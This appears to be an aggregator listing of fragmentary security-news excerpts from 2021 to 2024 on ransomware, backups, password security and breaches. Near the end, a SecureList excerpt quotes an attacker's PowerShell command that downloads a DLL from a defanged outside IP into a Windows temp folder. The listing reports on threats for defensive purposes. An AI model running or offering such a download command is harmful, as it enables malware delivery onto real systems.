Adam Shostack

JANUARY 3, 2021

As the expression goes, no one cares about backups, they care about restores. Some lessons learned over the last few days: Apple has disabled single user mode as of Mojave, and many recovery options are not available if you use a firmware password. Do yours work? Do not forget that availability is a security property.

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SecureList

MARCH 12, 2024

Profile of participants and applications We collected the data from a sample of the application security assessment projects our team completed in 2021–2023. Mitigation: do not store files containing sensitive data, such as passwords or backups, in web application publish directories.

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Krebs on Security

DECEMBER 8, 2022

In April, 2021, KrebsOnSecurity detailed how CLOP helped pioneer another innovation aimed at pushing more victims into paying an extortion demand: Emailing the ransomware victim’s customers and partners directly and warning that their data would be leaked to the dark web unless they can convince the victim firm to pay up. ” .

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Security Affairs

NOVEMBER 22, 2021

Memento ransomware group locks files inside WinRAR password-protected archives after having observed that its encryption process is blocked by security firms. The ransomware copies files into password-protected WinRAR archives, it uses a renamed freeware version of the legitimate file utility WinRAR. Pierluigi Paganini.

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Security Affairs

OCTOBER 26, 2021

“Unknown cyber criminals using Ranzy Locker ransomware had compromised more than 30 US businesses as of July 2021. Below are the recommended mitigations included in the alert: Implement regular backups of all data to be stored as air gapped, password protected copies offline. ” reads the flash alert.

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Krebs on Security

DECEMBER 3, 2021

More commonly, that access is purchased from a cybercriminal broker who specializes in acquiring remote access credentials — such as usernames and passwords needed to remotely connect to the target’s network. Gmail’s password recovery function says the backup email address for devrian27@gmail.com is bo3 *@gmail.com.

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Security Affairs

APRIL 23, 2021

The malware moves all files stored on the device to password-protected 7zip archives and demand the payment of a $550 ransom. “The Multimedia Console, Media Streaming Add-on, and Hybrid Backup Sync apps need to be updated to the latest available version as well to further secure QNAP NAS from ransomware attacks.

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eSecurity Planet

JUNE 17, 2021

Also Read: Best Encryption Software & Tools for 2021. From a GUI enterprise manager to advanced logical replication, backup and recovery, and a migration toolkit, EDB is a go-to vendor for all Postgre database administrators. Also Read: Cloud Bucket Vulnerability Management in 2021. Facebook, and Oracle.

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Security Affairs

MAY 22, 2021

The threat actors behind the attacks are exploiting an improper authorization vulnerability, tracked as CVE-2021-28799 , that could allow them to log in to a NAS device. “A ransomware campaign targeting QNAP NAS began the week of April 19th, 2021. ” reads the security advisory published by the vendor. and 4.3.4:

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SecureBlitz

NOVEMBER 16, 2021

Are you looking for the best Cybersecurity Black Friday deals for 2021? The post Best Cybersecurity Black Friday Deals For 2021 appeared first on SecureBlitz Cybersecurity. Look no further. SecureBlitz is your hub for the best cybersecurity deals and offers. Without further delay, check out available cybersecurity Black Friday.

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eSecurity Planet

FEBRUARY 16, 2021

Ransomware frequently contains extraction capabilities that can steal critical information like usernames and passwords, so stopping ransomware is serious business. Also Read: Best Encryption Tools & Software for 2021. Offline Backups. We also look into the most dangerous strains today and predictions for 2021.

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SecureWorld News

AUGUST 8, 2022

Cybersecurity and Infrastructure Security Agency (CISA) and the Australian Cyber Security Centre (ACSC) released a joint Cybersecurity Advisory (CSA) providing details on the top malware strains of 2021. The top malware strains in 2021 included remote access Trojans (RATs), banking Trojans, information stealers, and ransomware.

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Security Affairs

MAY 28, 2022

Now the Microsoft-owned company provided an update on the incident, the attackers were able to escalate access to npm infrastructure and access the following files exfiltrated from npm cloud storage: A backup of skimdb.npmjs.com containing data from April 7, 2021, with the following information:An archive of user information from 2015.

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Duo's Security Blog

SEPTEMBER 6, 2023

But conventional protection solutions, like password security, fall short when it comes to efficacy. We have a lot of thoughts on passkeys – some of which we’ve shared in other posts in this passkey blog series – and today we’re going to explore how passkeys stack up against passwords from the perspective of cloud platforms.

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eSecurity Planet

NOVEMBER 19, 2021

The Forrester Wave for ICS Security Solutions released earlier this month for Q4 2021 placed Cisco atop the ICS/OT security industry. Read more: Top Application Security Vendors for 2021. The post Top IoT Security Solutions of 2021 appeared first on eSecurityPlanet. Cisco Features. Entrust Features.

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Security Affairs

JANUARY 16, 2022

The threat actors behind the attacks were exploiting an improper authorization vulnerability, tracked as CVE-2021-28799 , that could allow them to log in to a NAS device. “A A ransomware campaign targeting QNAP NAS began the week of April 19th, 2021. reads the security advisory published by the vendor. We will see if thats the case.

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Security Affairs

SEPTEMBER 3, 2021

.” The PIN provides a series of examples of ransomware attacks impacting food and agriculture sector businesses, such as an attack that took place in January 2021 against an identified US farm that resulted in losses of approximately $9 million due to the disruption of the farming operations.

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SecureWorld News

OCTOBER 20, 2021

Instead of encrypting backup data, BlackMatter instead wipes it clean in some cases. Rather than encrypting backup systems, BlackMatter actors wipe or reformat backup data stores and appliances. October 18, 2021. Backup your data and put procedures in place for restoration. Choose unique, strong passwords.

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Security Affairs

MARCH 19, 2022

The AvosLocker ransomware-as-a-service emerged in the threat landscape in September 2021, since January the group expanded its targets by implementing the support for encrypting Linux systems, specifically VMware ESXi servers. Regularly back up data, password protect backup copies offline. hard drive, storage device, the cloud).

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Security Affairs

FEBRUARY 7, 2022

The experts warn that the decryptor consumes most of the processor’s computing power in order to retrieve the password, the cracking process may take up to tens of hours. “During password cracking, all your available processor cores will spend most of their computing power to find the decryption password. .

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CyberSecurity Insiders

APRIL 22, 2021

To all those who are using QNAP storage devices for backup or file sharing purposes, here’s an alert that needs your attention. It is learnt that the massive file encrypting malware campaign started on April 19th,2021 when victims took help of the technology forums to know more about the ransomware. BTC for each file.

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Krebs on Security

JANUARY 19, 2022

After entering an email address and picking a password, you are prompted to confirm your email address by clicking a link sent to that address. 18, 2021 the agency stopped allowing new accounts to be created with only a username and password. After confirmation, ID.me If you’ve visited the sign-in page at the U.S.

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Hot for Security

MAY 4, 2021

The vulnerability is tracked as CVE-2021-30665 and was reported to Apple by three security researchers, nicknamed yangkang, zerokeeper and bianliang. Apple in 2021 is off to a bad start security-wise. The flaw, tracked as CVE-2021-30657, was discovered by security researcher Cedric Owens. How to patch now.

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Security Affairs

JANUARY 25, 2021

Leaked data includes names, e-mails, mobile numbers, encrypted passwords, user wallet details, order details, bank details, KYC details (PAN number, passport numbers) and deposit history. The researcher Rajshekhar Rajaharia analyzed the leaked data, it is a MongoDB database of 6GB that contains three backup files with BuyUcoin data.

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eSecurity Planet

JUNE 16, 2022

However, basic cybersecurity tools and practices, like patching , strong passwords , and multi-factor authentication (MFA), “can prevent 80 to 90% of cyberattacks,” said Anne Neuberger, deputy national security advisor for cyber and emerging technologies, during a White House press conference in Sept. Backup and encryption.

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Hacker Combat

APRIL 22, 2022

There were 2690 reports of ransomware attacks in 2021, which was a 97.1% Ransomware cost businesses and individuals $18 billion in 2020, with the average sum paid totaling $220,298 in the first quarter of 2021. 2 Backup your data. You could find yourself unable to access important information, passwords, and others.

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Security Affairs

FEBRUARY 12, 2022

and Australia have published a joint advisory warning of an increased globalised threat of ransomware worldwide in 2021. “Ransomware tactics and techniques continued to evolve in 2021, which demonstrates ransomware threat actors’ growing technological sophistication and an increased ransomware threat to organizations globally.”

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eSecurity Planet

OCTOBER 27, 2021

We here at eSecurity Planet have our own views and methodology on this much-debated issue, and present to you our reviews of the Best Antivirus Software of 2021. Password manager. We’d also note that ransomware in particular requires unique data backup and recovery tools and services. Top 4 antivirus software. Bitdefender.

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Antivirus Software Malware Marketing 98

Security Affairs

SEPTEMBER 18, 2023

The exposed data exposed a disk backup of two employees’ workstations containing secrets, private keys, passwords, and over 30,000 internal Microsoft Teams messages. “The researchers shared their files using an Azure feature called SAS tokens, which allows you to share data from Azure Storage accounts.” 5, 2021 Oct.

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Security Affairs

MAY 25, 2021

systems on March 7, 2021.” “Based on our investigation and forensic analysis, Bose determined, on April 29, 2021, that the perpetrator of the cyber-attack potentially accessed a small number of internal spreadsheets with administrative information maintained by our Human Resources department. ” reads the letter.

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Krebs on Security

DECEMBER 29, 2022

Web hosting giant DigitalOcean discloses it was one of the victims, and that the intruders used their access to send password reset emails to a number of DigitalOcean customers involved in cryptocurrency and blockchain technologies. ” SEPTEMBER. million user accounts earlier this year.

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Malwarebytes

FEBRUARY 14, 2022

BlackByte ransomware is a relatively new ransomware-as-a-service (RaaS) tool, that has been around since July 2021. Our friends at Trustwave published a two-part [ 1 ] [ 2 ], in-depth analysis of the first version of BlackByte in October 2021. Lastly the FBI has advised organizations to keep regular backups of their data.

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CyberSecurity Insiders

OCTOBER 13, 2021

In 2020, ransomware attacks grew by 150%, and are growing even faster in 2021 , and with costs to repair the damage they cause in the millions of dollars, many organizations are desperate for solutions. Passwords are the number one cause of ransomware attacks and other data breaches, and stolen credentials result in 85% of all cyberattacks.

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Malwarebytes

JULY 21, 2021

This was designed as such because the database contains the hashed passwords for all users on a system. “But the passwords are hashed!”, The authentication process does not require the plaintext password. Pass the hash. ”, I heard you thinking. In that case, meet pass-the-hash attacks. The hash is enough.

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Security Affairs

SEPTEMBER 1, 2021

. “Although FBI and CISA do not currently have any specific threat reporting indicating a cyberattack will occur over the upcoming Labor Day holiday, malicious cyber actors have launched serious ransomware attacks during other holidays and weekends in 2021.” Using strong passwords. Avoiding clicking on suspicious links.

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SecureList

JUNE 30, 2022

And we didn’t come back empty-handed… In 2021, we noticed a trend among several threat actors for deploying a backdoor within IIS after exploiting one of the ProxyLogon-type vulnerabilities within Microsoft Exchange servers. 185, between March and April 2021, such as: powershell "(New-Object Net.WebClient).DownloadFile('hxxp://202.182.123[.]185/Dll2.dll','C:WindowsTempwin32.dll')"

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Krebs on Security

SEPTEMBER 30, 2023

“Experience in backup, increase privileges, mikicatz, network. “I’ve been using this login since about 2013 on all the forums where I register, and I don’t always set a strong password. “The command requires Windows system administrators,” Truniger’s ads explained.

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